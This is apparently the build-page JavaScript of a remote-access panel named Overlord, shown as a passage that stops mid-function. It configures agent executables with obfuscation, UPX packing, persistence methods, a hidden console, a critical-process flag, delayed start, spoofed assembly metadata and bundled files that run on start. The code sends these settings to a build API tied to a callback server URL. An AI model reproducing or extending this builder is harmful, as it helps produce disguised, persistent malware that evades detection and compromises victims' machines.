2026-03-05 00:04:26 -06:00
const form = document . getElementById ( "build-form" );
const buildBtn = document . getElementById ( "build-btn" );
const buildStatus = document . getElementById ( "build-status" );
const buildStatusText = document . getElementById ( "build-status-text" );
const buildOutputDiv = document . getElementById ( "build-output" );
const buildOutputContainer = document . getElementById ( "build-output-container" );
const buildResults = document . getElementById ( "build-results" );
const buildFilesDiv = document . getElementById ( "build-files" );
const logoutBtn = document . getElementById ( "logout-btn" );
const usernameDisplay = document . getElementById ( "username-display" );
const roleBadge = document . getElementById ( "role-badge" );
const usersLink = document . getElementById ( "users-link" );
const buildLink = document . getElementById ( "build-link" );
const scriptsLink = document . getElementById ( "scripts-link" );
const pluginsLink = document . getElementById ( "plugins-link" );
const rawServerListCheckbox = document . getElementById ( "raw-server-list" );
const serverUrlInput = document . getElementById ( "server-url" );
2026-03-12 12:08:02 -05:00
let currentServerVersion = null ;
async function loadServerVersion () {
try {
const res = await fetch ( "/api/version" , { credentials : "include" });
if ( ! res . ok ) {
currentServerVersion = null ;
return ;
}
const payload = await res . json ();
const version = typeof payload ? . version === "string" ? payload . version . trim () : "" ;
currentServerVersion = version || null ;
} catch {
currentServerVersion = null ;
}
}
2026-03-05 00:04:26 -06:00
function getDefaultServerUrlPlaceholder ( isRawList ) {
const isHttps = window . location . protocol === "https:" ;
const host = window . location . host ;
if ( isRawList ) {
return ` ${ isHttps ? "https" : "http" } :// ${ host } /list.txt` ;
}
return ` ${ isHttps ? "wss" : "ws" } :// ${ host } ` ;
}
function updateServerUrlPlaceholder () {
if ( ! serverUrlInput ) return ;
const isRaw = rawServerListCheckbox ? . checked ?? false ;
2026-03-15 16:27:57 -05:00
const placeholder = getDefaultServerUrlPlaceholder ( isRaw );
serverUrlInput . placeholder = placeholder ;
if ( ! serverUrlInput . value . trim ()) {
serverUrlInput . value = placeholder ;
}
2026-03-05 00:04:26 -06:00
}
let isBuilding = false ;
2026-03-21 02:12:35 -05:00
function initAccordions () {
document . querySelectorAll ( ".accordion-section" ). forEach (( section ) => {
const header = section . querySelector ( ".accordion-header" );
const body = section . querySelector ( ".accordion-body" );
const chevron = section . querySelector ( ".accordion-chevron" );
const startOpen = section . dataset . open !== "false" ;
if ( ! startOpen ) {
body . classList . add ( "collapsed" );
} else {
chevron . classList . add ( "rotated" );
}
header . addEventListener ( "click" , () => {
const nowCollapsed = body . classList . toggle ( "collapsed" );
chevron . classList . toggle ( "rotated" , ! nowCollapsed );
});
});
}
function updateWindowsSectionVisibility () {
const windowsSection = document . getElementById ( "windows-settings-section" );
if ( ! windowsSection ) return ;
const hasWindows = Array . from (
document . querySelectorAll ( 'input[name="platform"]:checked' ),
). some (( el ) => el . value . startsWith ( "windows-" ));
windowsSection . classList . toggle ( "hidden" , ! hasWindows );
}
2026-03-26 10:26:25 -05:00
const BUILD_SETTINGS_KEY = "overlord_build_settings" ;
function saveFormSettings () {
try {
const settings = {
platforms : Array . from ( document . querySelectorAll ( 'input[name="platform"]' )). map (( el ) => ({ value : el . value , checked : el . checked })),
serverUrl : document . getElementById ( "server-url" ) ? . value ?? "" ,
rawServerList : document . getElementById ( "raw-server-list" ) ? . checked ?? false ,
outputName : document . getElementById ( "output-name" ) ? . value ?? "" ,
mutex : document . getElementById ( "mutex" ) ? . value ?? "" ,
disableMutex : document . querySelector ( 'input[name="disable-mutex"]' ) ? . checked ?? false ,
stripDebug : document . querySelector ( 'input[name="strip-debug"]' ) ? . checked ?? true ,
disableCgo : document . querySelector ( 'input[name="disable-cgo"]' ) ? . checked ?? false ,
noPrinting : document . querySelector ( 'input[name="no-printing"]' ) ? . checked ?? false ,
obfuscate : document . querySelector ( 'input[name="obfuscate"]' ) ? . checked ?? false ,
garbleLiterals : document . querySelector ( 'input[name="garble-literals"]' ) ? . checked ?? false ,
garbleTiny : document . querySelector ( 'input[name="garble-tiny"]' ) ? . checked ?? false ,
garbleSeed : document . getElementById ( "garble-seed" ) ? . value ?? "" ,
enableUpx : document . querySelector ( 'input[name="enable-upx"]' ) ? . checked ?? false ,
upxStripHeaders : document . querySelector ( 'input[name="upx-strip-headers"]' ) ? . checked ?? false ,
sleepSeconds : document . getElementById ( "sleep-seconds" ) ? . value ?? "0" ,
enablePersistence : document . querySelector ( 'input[name="enable-persistence"]' ) ? . checked ?? false ,
2026-03-26 11:05:04 -05:00
persistenceMethods : Array . from ( document . querySelectorAll ( 'input[name="persistence-method"]:checked' )). map (( el ) => el . value ),
2026-03-26 10:26:25 -05:00
startupName : document . getElementById ( "startup-name" ) ? . value ?? "" ,
hideConsole : document . querySelector ( 'input[name="hide-console"]' ) ? . checked ?? false ,
requireAdmin : document . querySelector ( 'input[name="require-admin"]' ) ? . checked ?? false ,
2026-04-03 10:47:05 -05:00
criticalProcess : document . querySelector ( 'input[name="critical-process"]' ) ? . checked ?? false ,
2026-03-26 10:26:25 -05:00
assemblyTitle : document . getElementById ( "assembly-title" ) ? . value ?? "" ,
assemblyProduct : document . getElementById ( "assembly-product" ) ? . value ?? "" ,
assemblyCompany : document . getElementById ( "assembly-company" ) ? . value ?? "" ,
assemblyVersion : document . getElementById ( "assembly-version" ) ? . value ?? "" ,
assemblyCopyright : document . getElementById ( "assembly-copyright" ) ? . value ?? "" ,
outputExtension : document . getElementById ( "output-extension" ) ? . value ?? ".exe" ,
};
localStorage . setItem ( BUILD_SETTINGS_KEY , JSON . stringify ( settings ));
} catch ( err ) {
console . error ( "Failed to save form settings:" , err );
}
}
function restoreFormSettings () {
try {
const raw = localStorage . getItem ( BUILD_SETTINGS_KEY );
if ( ! raw ) return ;
const s = JSON . parse ( raw );
const setVal = ( id , val ) => { const el = document . getElementById ( id ); if ( el && val !== undefined ) el . value = val ; };
const setCb = ( sel , val ) => { const el = document . querySelector ( sel ); if ( el && val !== undefined ) el . checked = val ; };
if ( Array . isArray ( s . platforms )) {
s . platforms . forEach (({ value , checked }) => {
const el = document . querySelector ( `input[name="platform"][value=" ${ value } "]` );
if ( el ) el . checked = checked ;
});
}
if ( s . serverUrl !== undefined ) setVal ( "server-url" , s . serverUrl );
if ( s . rawServerList !== undefined ) setCb ( "#raw-server-list" , s . rawServerList );
if ( s . outputName !== undefined ) setVal ( "output-name" , s . outputName );
if ( s . mutex !== undefined ) setVal ( "mutex" , s . mutex );
if ( s . disableMutex !== undefined ) setCb ( 'input[name="disable-mutex"]' , s . disableMutex );
if ( s . stripDebug !== undefined ) setCb ( 'input[name="strip-debug"]' , s . stripDebug );
if ( s . disableCgo !== undefined ) setCb ( 'input[name="disable-cgo"]' , s . disableCgo );
if ( s . noPrinting !== undefined ) setCb ( 'input[name="no-printing"]' , s . noPrinting );
if ( s . obfuscate !== undefined ) setCb ( 'input[name="obfuscate"]' , s . obfuscate );
if ( s . garbleLiterals !== undefined ) setCb ( 'input[name="garble-literals"]' , s . garbleLiterals );
if ( s . garbleTiny !== undefined ) setCb ( 'input[name="garble-tiny"]' , s . garbleTiny );
if ( s . garbleSeed !== undefined ) setVal ( "garble-seed" , s . garbleSeed );
if ( s . enableUpx !== undefined ) setCb ( 'input[name="enable-upx"]' , s . enableUpx );
if ( s . upxStripHeaders !== undefined ) setCb ( 'input[name="upx-strip-headers"]' , s . upxStripHeaders );
if ( s . sleepSeconds !== undefined ) setVal ( "sleep-seconds" , s . sleepSeconds );
if ( s . enablePersistence !== undefined ) setCb ( 'input[name="enable-persistence"]' , s . enablePersistence );
2026-03-26 11:05:04 -05:00
if ( Array . isArray ( s . persistenceMethods )) {
document . querySelectorAll ( 'input[name="persistence-method"]' ). forEach (( el ) => {
el . checked = s . persistenceMethods . includes ( el . value );
});
}
2026-03-26 10:26:25 -05:00
if ( s . startupName !== undefined ) setVal ( "startup-name" , s . startupName );
if ( s . hideConsole !== undefined ) setCb ( 'input[name="hide-console"]' , s . hideConsole );
if ( s . requireAdmin !== undefined ) setCb ( 'input[name="require-admin"]' , s . requireAdmin );
2026-04-03 10:47:05 -05:00
if ( s . criticalProcess !== undefined ) setCb ( 'input[name="critical-process"]' , s . criticalProcess );
2026-03-26 10:26:25 -05:00
if ( s . assemblyTitle !== undefined ) setVal ( "assembly-title" , s . assemblyTitle );
if ( s . assemblyProduct !== undefined ) setVal ( "assembly-product" , s . assemblyProduct );
if ( s . assemblyCompany !== undefined ) setVal ( "assembly-company" , s . assemblyCompany );
if ( s . assemblyVersion !== undefined ) setVal ( "assembly-version" , s . assemblyVersion );
if ( s . assemblyCopyright !== undefined ) setVal ( "assembly-copyright" , s . assemblyCopyright );
if ( s . outputExtension !== undefined ) setVal ( "output-extension" , s . outputExtension );
const restoredObfuscate = document . querySelector ( 'input[name="obfuscate"]' );
const garbleContainer = document . getElementById ( "garble-settings-container" );
if ( restoredObfuscate && garbleContainer ) {
garbleContainer . classList . toggle ( "hidden" , ! restoredObfuscate . checked );
}
const restoredUpx = document . querySelector ( 'input[name="enable-upx"]' );
const upxContainer = document . getElementById ( "upx-settings-container" );
if ( restoredUpx && upxContainer ) {
upxContainer . classList . toggle ( "hidden" , ! restoredUpx . checked );
}
} catch ( err ) {
console . error ( "Failed to restore form settings:" , err );
}
}
restoreFormSettings ();
2026-03-21 02:12:35 -05:00
initAccordions ();
updateWindowsSectionVisibility ();
2026-03-05 00:04:26 -06:00
init ();
if ( rawServerListCheckbox && serverUrlInput ) {
rawServerListCheckbox . addEventListener ( "change" , () => {
const isRaw = rawServerListCheckbox . checked ;
const current = serverUrlInput . value . trim ();
if ( isRaw ) {
if ( current . startsWith ( "wss://" )) {
serverUrlInput . value = "https://" + current . slice ( "wss://" . length );
} else if ( current . startsWith ( "ws://" )) {
serverUrlInput . value = "http://" + current . slice ( "ws://" . length );
}
serverUrlInput . placeholder = getDefaultServerUrlPlaceholder ( true );
} else {
if ( current . startsWith ( "https://" )) {
serverUrlInput . value = "wss://" + current . slice ( "https://" . length );
} else if ( current . startsWith ( "http://" )) {
serverUrlInput . value = "ws://" + current . slice ( "http://" . length );
}
serverUrlInput . placeholder = getDefaultServerUrlPlaceholder ( false );
}
});
}
2026-03-12 13:52:02 -05:00
const persistenceCheckbox = document . querySelector ( 'input[name="enable-persistence"]' );
const persistenceMethodContainer = document . getElementById ( "persistence-method-container" );
2026-03-18 21:05:58 -05:00
const persistenceEmptyState = document . getElementById ( "persistence-empty-state" );
const persistenceWindowsSettings = document . getElementById ( "persistence-windows-settings" );
const persistenceLinuxSettings = document . getElementById ( "persistence-linux-settings" );
const persistenceMacSettings = document . getElementById ( "persistence-macos-settings" );
const platformInputs = document . querySelectorAll ( 'input[name="platform"]' );
function getSelectedPlatformFamilies () {
const selectedPlatforms = Array . from (
document . querySelectorAll ( 'input[name="platform"]:checked' ),
). map (( el ) => el . value );
return {
windows : selectedPlatforms . some (( platform ) => platform . startsWith ( "windows-" )),
linux : selectedPlatforms . some (( platform ) => platform . startsWith ( "linux-" )),
darwin : selectedPlatforms . some (( platform ) => platform . startsWith ( "darwin-" )),
};
2026-03-12 13:52:02 -05:00
}
2026-03-18 21:05:58 -05:00
function updatePersistenceSettingsVisibility () {
if ( ! persistenceMethodContainer ) return ;
const persistenceEnabled = !! persistenceCheckbox ? . checked ;
if ( ! persistenceEnabled ) {
persistenceMethodContainer . classList . add ( "hidden" );
return ;
}
persistenceMethodContainer . classList . remove ( "hidden" );
const families = getSelectedPlatformFamilies ();
const hasSupportedFamily = families . windows || families . linux || families . darwin ;
if ( persistenceWindowsSettings ) {
persistenceWindowsSettings . classList . toggle ( "hidden" , ! families . windows );
}
if ( persistenceLinuxSettings ) {
persistenceLinuxSettings . classList . toggle ( "hidden" , ! families . linux );
}
if ( persistenceMacSettings ) {
persistenceMacSettings . classList . toggle ( "hidden" , ! families . darwin );
}
if ( persistenceEmptyState ) {
persistenceEmptyState . classList . toggle ( "hidden" , hasSupportedFamily );
}
}
if ( persistenceCheckbox && persistenceMethodContainer ) {
persistenceCheckbox . addEventListener ( "change" , updatePersistenceSettingsVisibility );
}
platformInputs . forEach (( input ) => {
input . addEventListener ( "change" , updatePersistenceSettingsVisibility );
2026-03-21 02:12:35 -05:00
input . addEventListener ( "change" , updateWindowsSectionVisibility );
2026-03-18 21:05:58 -05:00
});
updatePersistenceSettingsVisibility ();
2026-03-26 10:26:25 -05:00
form ? . addEventListener ( "change" , saveFormSettings );
form ? . addEventListener ( "input" , saveFormSettings );
2026-03-16 14:09:06 +01:00
const obfuscateCheckbox = document . querySelector ( 'input[name="obfuscate"]' );
const garbleSettingsContainer = document . getElementById ( "garble-settings-container" );
if ( obfuscateCheckbox && garbleSettingsContainer ) {
obfuscateCheckbox . addEventListener ( "change" , () => {
if ( obfuscateCheckbox . checked ) {
garbleSettingsContainer . classList . remove ( "hidden" );
} else {
garbleSettingsContainer . classList . add ( "hidden" );
}
});
}
2026-03-16 14:42:18 +01:00
const upxCheckbox = document . querySelector ( 'input[name="enable-upx"]' );
const upxSettingsContainer = document . getElementById ( "upx-settings-container" );
if ( upxCheckbox && upxSettingsContainer ) {
upxCheckbox . addEventListener ( "change" , () => {
if ( upxCheckbox . checked ) {
upxSettingsContainer . classList . remove ( "hidden" );
} else {
upxSettingsContainer . classList . add ( "hidden" );
}
});
}
2026-03-16 14:09:06 +01:00
let pendingIconBase64 = null ;
const iconUpload = document . getElementById ( "icon-upload" );
const iconLabel = document . getElementById ( "icon-label" );
const iconClear = document . getElementById ( "icon-clear" );
if ( iconUpload ) {
iconUpload . addEventListener ( "change" , () => {
const file = iconUpload . files [ 0 ];
if ( ! file ) return ;
if ( file . size > 1024 * 1024 ) {
alert ( "Icon file must be under 1MB" );
iconUpload . value = "" ;
return ;
}
const reader = new FileReader ();
reader . onload = () => {
const base64 = reader . result . split ( "," )[ 1 ];
pendingIconBase64 = base64 ;
if ( iconLabel ) iconLabel . textContent = file . name ;
if ( iconClear ) iconClear . classList . remove ( "hidden" );
};
reader . readAsDataURL ( file );
});
}
if ( iconClear ) {
iconClear . addEventListener ( "click" , () => {
pendingIconBase64 = null ;
if ( iconUpload ) iconUpload . value = "" ;
if ( iconLabel ) iconLabel . textContent = "Choose .ico file" ;
iconClear . classList . add ( "hidden" );
});
}
2026-03-21 02:37:10 -05:00
const MAX_BIND_FILES = 5 ;
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024 ; // 10 MB
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
const bindFileInput = document . getElementById ( "bind-file-input" );
const bindFilesList = document . getElementById ( "bind-files-list" );
const bindAddLabel = document . getElementById ( "bind-add-label" );
function sanitizeBindName ( name ) {
return name . replace ( /[^A-Za-z0-9._-]/g , "" ). slice ( 0 , 64 ) || "file" ;
}
function renderBoundFiles () {
if ( ! bindFilesList ) return ;
bindFilesList . innerHTML = "" ;
boundFiles . forEach (( entry , idx ) => {
const div = document . createElement ( "div" );
div . className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg" ;
const osList = [ "windows" , "linux" , "darwin" ];
const osIcons = { windows : "fa-brands fa-windows" , linux : "fa-brands fa-linux" , darwin : "fa-brands fa-apple" };
const osColors = { windows : "text-blue-400" , linux : "text-amber-400" , darwin : "text-slate-200" };
const osLabels = { windows : "Windows" , linux : "Linux" , darwin : "macOS" };
const osCheckboxes = osList
. map (
( os ) =>
`<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
<input type="checkbox" class="bind-os-cb w-3 h-3" data-idx=" ${ idx } " data-os=" ${ os } "
${ entry . targetOS . length === 0 || entry . targetOS . includes ( os ) ? "checked" : "" } />
<i class=" ${ osIcons [ os ] } ${ osColors [ os ] } "></i> ${ osLabels [ os ] }
</label>` ,
)
. join ( "" );
div . innerHTML = `
<div class="flex items-center gap-2">
<i class="fa-solid fa-file text-violet-400 shrink-0"></i>
<span class="text-sm font-medium text-slate-200 truncate flex-1"> ${ entry . name } </span>
<button type="button" class="bind-remove-btn text-red-400 hover:text-red-300 text-xs px-1" data-idx=" ${ idx } " title="Remove">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div class="flex items-center gap-3 flex-wrap">
<span class="text-xs text-slate-500 shrink-0">Run on:</span>
${ osCheckboxes }
<span class="flex-1"></span>
<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
<input type="checkbox" class="bind-exec-cb w-3 h-3" data-idx=" ${ idx } " ${ entry . execute ? "checked" : "" } />
<i class="fa-solid fa-play text-green-400"></i> Execute on start
</label>
</div>
` ;
div . querySelector ( ".bind-remove-btn" ). addEventListener ( "click" , () => {
boundFiles . splice ( idx , 1 );
renderBoundFiles ();
updateBindAddVisibility ();
});
div . querySelectorAll ( ".bind-os-cb" ). forEach (( cb ) => {
cb . addEventListener ( "change" , () => {
const checked = Array . from ( div . querySelectorAll ( `.bind-os-cb[data-idx=" ${ idx } "]` ))
. filter (( el ) => el . checked )
. map (( el ) => el . dataset . os );
boundFiles [ idx ]. targetOS = checked . length === osList . length ? [] : checked ;
});
});
div . querySelector ( ".bind-exec-cb" ). addEventListener ( "change" , ( e ) => {
boundFiles [ idx ]. execute = e . target . checked ;
});
bindFilesList . appendChild ( div );
});
}
function updateBindAddVisibility () {
if ( ! bindAddLabel ) return ;
bindAddLabel . classList . toggle ( "hidden" , boundFiles . length >= MAX_BIND_FILES );
}
if ( bindFileInput ) {
bindFileInput . addEventListener ( "change" , () => {
const file = bindFileInput . files [ 0 ];
bindFileInput . value = "" ;
if ( ! file ) return ;
if ( boundFiles . length >= MAX_BIND_FILES ) {
alert ( `Maximum ${ MAX_BIND_FILES } files can be bound.` );
return ;
}
if ( file . size > MAX_BIND_FILE_BYTES ) {
alert ( `Each bound file must be under 10 MB. " ${ file . name } " is too large.` );
return ;
}
const safeName = sanitizeBindName ( file . name );
if ( boundFiles . some (( f ) => f . name === safeName )) {
alert ( `A file named " ${ safeName } " is already in the list.` );
return ;
}
const reader = new FileReader ();
reader . onload = () => {
const base64 = reader . result . split ( "," )[ 1 ];
boundFiles . push ({ name : safeName , base64 , targetOS : [], execute : true });
renderBoundFiles ();
updateBindAddVisibility ();
};
reader . readAsDataURL ( file );
});
}
2026-03-05 00:04:26 -06:00
async function init () {
try {
updateServerUrlPlaceholder ();
const res = await fetch ( "/api/auth/me" , {
credentials : "include" ,
});
if ( ! res . ok ) {
window . location . href = "/login.html" ;
return ;
}
const data = await res . json ();
usernameDisplay . textContent = data . username ;
const roleBadges = {
admin : '<i class="fa-solid fa-crown mr-1"></i>Admin' ,
operator : '<i class="fa-solid fa-sliders mr-1"></i>Operator' ,
viewer : '<i class="fa-solid fa-eye mr-1"></i>Viewer' ,
};
if ( roleBadges [ data . role ]) {
roleBadge . innerHTML = roleBadges [ data . role ];
} else {
roleBadge . textContent = data . role || "" ;
}
if ( data . role === "admin" ) {
roleBadge . classList . add (
"bg-purple-900/50" ,
"text-purple-300" ,
"border" ,
"border-purple-800" ,
);
} else if ( data . role === "operator" ) {
roleBadge . classList . add (
"bg-blue-900/50" ,
"text-blue-300" ,
"border" ,
"border-blue-800" ,
);
} else {
roleBadge . classList . add (
"bg-slate-700" ,
"text-slate-300" ,
"border" ,
"border-slate-600" ,
);
}
if ( data . role === "admin" ) {
usersLink . classList . remove ( "hidden" );
pluginsLink ? . classList . remove ( "hidden" );
document . getElementById ( "deploy-link" ) ? . classList . remove ( "hidden" );
}
2026-03-12 21:26:53 -05:00
if ( data . role === "admin" || data . role === "operator" || data . canBuild ) {
2026-03-05 00:04:26 -06:00
buildLink ? . classList . remove ( "hidden" );
}
if ( data . role !== "viewer" ) {
scriptsLink ? . classList . remove ( "hidden" );
}
2026-03-12 21:26:53 -05:00
if ( data . role !== "admin" && data . role !== "operator" && ! data . canBuild ) {
2026-03-05 00:04:26 -06:00
buildBtn . disabled = true ;
buildBtn . innerHTML =
2026-03-12 21:26:53 -05:00
'<i class="fa-solid fa-lock"></i> <span>Build requires permission</span>' ;
2026-03-05 00:04:26 -06:00
}
2026-03-12 12:08:02 -05:00
await loadServerVersion ();
await loadSavedBuilds ();
2026-03-05 00:04:26 -06:00
} catch ( err ) {
console . error ( "Failed to fetch user info:" , err );
window . location . href = "/login.html" ;
}
}
if ( logoutBtn && ! logoutBtn . dataset . boundLogout ) {
logoutBtn . dataset . boundLogout = "true" ;
logoutBtn . addEventListener ( "click" , async () => {
try {
await fetch ( "/api/logout" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
} catch ( err ) {
console . error ( "Logout error:" , err );
}
window . location . href = "/" ;
});
}
form ? . addEventListener ( "submit" , async ( e ) => {
e . preventDefault ();
if ( isBuilding ) return ;
const platformCheckboxes = form . querySelectorAll (
'input[name="platform"]:checked' ,
);
const platforms = Array . from ( platformCheckboxes ). map (( cb ) => cb . value );
if ( platforms . length === 0 ) {
alert ( "Please select at least one platform to build" );
return ;
}
const serverUrl = form . querySelector ( "#server-url" ). value . trim ();
const rawServerList = form . querySelector ( "#raw-server-list" ) ? . checked || false ;
const mutex = form . querySelector ( "#mutex" ) ? . value . trim () || "" ;
const disableMutex = form . querySelector ( 'input[name="disable-mutex"]' ) ? . checked || false ;
const stripDebug = form . querySelector ( 'input[name="strip-debug"]' ). checked ;
const disableCgo = form . querySelector ( 'input[name="disable-cgo"]' ). checked ;
const obfuscate = form . querySelector ( 'input[name="obfuscate"]' ). checked ;
const enablePersistence = form . querySelector (
'input[name="enable-persistence"]' ,
). checked ;
2026-03-18 21:05:58 -05:00
const hasWindowsTarget = platforms . some (( platform ) => platform . startsWith ( "windows-" ));
2026-03-26 11:05:04 -05:00
const persistenceMethods = hasWindowsTarget
? Array . from ( form . querySelectorAll ( 'input[name="persistence-method"]:checked' )). map (( el ) => el . value )
2026-03-18 21:05:58 -05:00
: undefined ;
2026-03-21 03:06:35 -05:00
const startupNameVal = hasWindowsTarget
? ( form . querySelector ( "#startup-name" ) ? . value . trim () || "" )
: "" ;
2026-03-05 00:04:26 -06:00
const hideConsole = form . querySelector (
'input[name="hide-console"]' ,
). checked ;
const noPrinting = form . querySelector (
'input[name="no-printing"]' ,
). checked ;
2026-03-16 14:09:06 +01:00
const outputNameVal = form . querySelector ( "#output-name" ) ? . value . trim () || "" ;
const garbleLiterals = form . querySelector ( 'input[name="garble-literals"]' ) ? . checked || false ;
const garbleTiny = form . querySelector ( 'input[name="garble-tiny"]' ) ? . checked || false ;
const garbleSeedVal = form . querySelector ( "#garble-seed" ) ? . value . trim () || "" ;
const assemblyTitle = form . querySelector ( "#assembly-title" ) ? . value . trim () || "" ;
const assemblyProduct = form . querySelector ( "#assembly-product" ) ? . value . trim () || "" ;
const assemblyCompany = form . querySelector ( "#assembly-company" ) ? . value . trim () || "" ;
const assemblyVersion = form . querySelector ( "#assembly-version" ) ? . value . trim () || "" ;
const assemblyCopyright = form . querySelector ( "#assembly-copyright" ) ? . value . trim () || "" ;
2026-03-21 02:12:35 -05:00
const requireAdmin = form . querySelector ( 'input[name="require-admin"]' ) ? . checked || false ;
2026-04-03 10:47:05 -05:00
const criticalProcess = form . querySelector ( 'input[name="critical-process"]' ) ? . checked || false ;
2026-03-21 02:12:35 -05:00
const outputExtension = form . querySelector ( "#output-extension" ) ? . value || ".exe" ;
const sleepSecondsRaw = parseInt ( form . querySelector ( "#sleep-seconds" ) ? . value || "0" , 10 );
const sleepSeconds = ! isNaN ( sleepSecondsRaw ) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0 ;
2026-03-16 14:09:06 +01:00
2026-03-05 00:04:26 -06:00
const buildConfig = {
platforms ,
serverUrl : serverUrl || undefined ,
rawServerList ,
mutex : disableMutex ? "" : mutex || undefined ,
disableMutex ,
stripDebug ,
disableCgo ,
obfuscate ,
enablePersistence ,
2026-03-26 11:05:04 -05:00
persistenceMethods : enablePersistence && hasWindowsTarget ? ( persistenceMethods && persistenceMethods . length > 0 ? persistenceMethods : [ 'startup' ]) : undefined ,
2026-03-21 03:06:35 -05:00
startupName : enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined ,
2026-03-05 00:04:26 -06:00
hideConsole ,
noPrinting ,
2026-03-16 14:09:06 +01:00
outputName : outputNameVal || undefined ,
garbleLiterals : obfuscate ? garbleLiterals : undefined ,
garbleTiny : obfuscate ? garbleTiny : undefined ,
garbleSeed : obfuscate && garbleSeedVal ? garbleSeedVal : undefined ,
assemblyTitle : assemblyTitle || undefined ,
assemblyProduct : assemblyProduct || undefined ,
assemblyCompany : assemblyCompany || undefined ,
assemblyVersion : assemblyVersion || undefined ,
assemblyCopyright : assemblyCopyright || undefined ,
2026-03-21 02:12:35 -05:00
requireAdmin ,
2026-04-03 10:47:05 -05:00
criticalProcess ,
2026-03-21 02:12:35 -05:00
outputExtension ,
sleepSeconds : sleepSeconds > 0 ? sleepSeconds : undefined ,
2026-03-16 14:09:06 +01:00
iconBase64 : pendingIconBase64 || undefined ,
2026-03-16 14:42:18 +01:00
enableUpx : form . querySelector ( 'input[name="enable-upx"]' ) ? . checked || false ,
upxStripHeaders : form . querySelector ( 'input[name="upx-strip-headers"]' ) ? . checked || false ,
2026-03-21 02:37:10 -05:00
boundFiles : boundFiles . length > 0
? boundFiles . map (( f ) => ({ name : f . name , data : f . base64 , targetOS : f . targetOS , execute : f . execute }))
: undefined ,
2026-03-05 00:04:26 -06:00
};
2026-03-10 17:22:39 -05:00
const hasAndroid = platforms . some ( p => p . startsWith ( 'android-' ));
2026-03-10 18:27:45 -05:00
const hasBsd = platforms . some (
p => p . startsWith ( 'freebsd-' ) || p . startsWith ( 'openbsd-' ),
);
if ( hasAndroid || hasBsd ) {
let warningText = 'WARNING: Some selected targets are severely untested and will probably not work right.\n\n' ;
if ( hasAndroid ) {
warningText += '- Android targets are severely untested and will probably not work right.\n' ;
}
if ( hasBsd ) {
warningText += '- BSD targets are severely untested and will probably not work right.\n' ;
}
warningText += '\nContinue with build anyway?' ;
if ( ! confirm ( warningText )) {
return ;
}
}
2026-03-10 17:22:39 -05:00
if ( hasAndroid && enablePersistence ) {
if ( ! confirm (
'⚠️ WARNING: Persistence is NOT supported on Android\n\n' +
'The persistence setting will be ignored for Android builds.\n' +
'Persistence is only supported on: Windows, Linux, and macOS\n\n' +
'Continue with build anyway?'
)) {
return ;
}
}
2026-03-05 00:04:26 -06:00
await startBuild ( buildConfig );
});
async function startBuild ( config ) {
isBuilding = true ;
buildBtn . disabled = true ;
buildBtn . innerHTML =
'<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>' ;
2026-03-29 13:39:51 -05:00
if ( buildUpdateAllBtn ) {
buildUpdateAllBtn . disabled = true ;
buildUpdateAllBtn . innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>' ;
}
2026-03-05 00:04:26 -06:00
buildStatus . classList . remove ( "hidden" );
buildStatusText . textContent = "Starting build..." ;
buildResults . classList . add ( "hidden" );
buildFilesDiv . innerHTML = "" ;
buildOutputDiv . innerHTML = "" ;
addBuildOutput ( "Starting build process...\n" , "info" );
try {
const res = await fetch ( "/api/build/start" , {
method : "POST" ,
headers : {
"Content-Type" : "application/json" ,
},
credentials : "include" ,
body : JSON . stringify ( config ),
});
if ( ! res . ok ) {
const error = await res . json ();
throw new Error ( error . error || "Build failed to start" );
}
const data = await res . json ();
const buildId = data . buildId ;
addBuildOutput ( `Build ID: ${ buildId } \n` , "info" );
addBuildOutput (
`Building for platforms: ${ config . platforms . join ( ", " ) } \n\n` ,
"info" ,
);
2026-03-06 12:43:42 -06:00
await streamBuildOutput ( buildId , config );
2026-03-05 00:04:26 -06:00
} catch ( err ) {
addBuildOutput ( `\nERROR: ${ err . message } \n` , "error" );
2026-03-06 12:43:42 -06:00
if ( ! config . disableCgo ) {
addBuildOutput (
"Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n" ,
"warn" ,
);
}
2026-03-05 00:04:26 -06:00
buildStatusText . textContent = "Build failed" ;
buildStatus . querySelector ( "div" ). className =
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60" ;
buildStatus . querySelector ( "i" ). className = "fa-solid fa-circle-xmark" ;
2026-03-29 13:39:51 -05:00
pendingUpdateAll = false ;
2026-03-05 00:04:26 -06:00
} finally {
isBuilding = false ;
buildBtn . disabled = false ;
buildBtn . innerHTML =
'<i class="fa-solid fa-hammer"></i> <span>Start Build</span>' ;
2026-03-29 13:39:51 -05:00
if ( buildUpdateAllBtn ) {
buildUpdateAllBtn . disabled = false ;
buildUpdateAllBtn . innerHTML = '<i class="fa-solid fa-arrow-up-from-bracket"></i> <span>Build & Update All</span>' ;
}
2026-03-05 00:04:26 -06:00
}
}
2026-03-06 12:43:42 -06:00
async function streamBuildOutput ( buildId , config = {}) {
2026-03-05 00:04:26 -06:00
const res = await fetch ( `/api/build/ ${ buildId } /stream` , {
credentials : "include" ,
});
if ( ! res . ok ) {
throw new Error ( "Failed to connect to build stream" );
}
const reader = res . body . getReader ();
const decoder = new TextDecoder ();
let buffer = "" ;
try {
while ( true ) {
const { done , value } = await reader . read ();
if ( done ) break ;
buffer += decoder . decode ( value , { stream : true });
const lines = buffer . split ( "\n" );
buffer = lines . pop ();
for ( const line of lines ) {
if ( ! line . trim ()) continue ;
if ( line . startsWith ( "data: " )) {
const data = JSON . parse ( line . substring ( 6 ));
if ( data . type === "output" ) {
addBuildOutput ( data . text , data . level || "info" );
} else if ( data . type === "status" ) {
buildStatusText . textContent = data . text ;
} else if ( data . type === "complete" ) {
buildStatusText . textContent = data . success
? "Build completed successfully!"
: "Build failed" ;
buildStatus . querySelector ( "div" ). className = data . success
? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60"
: "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60" ;
buildStatus . querySelector ( "i" ). className = data . success
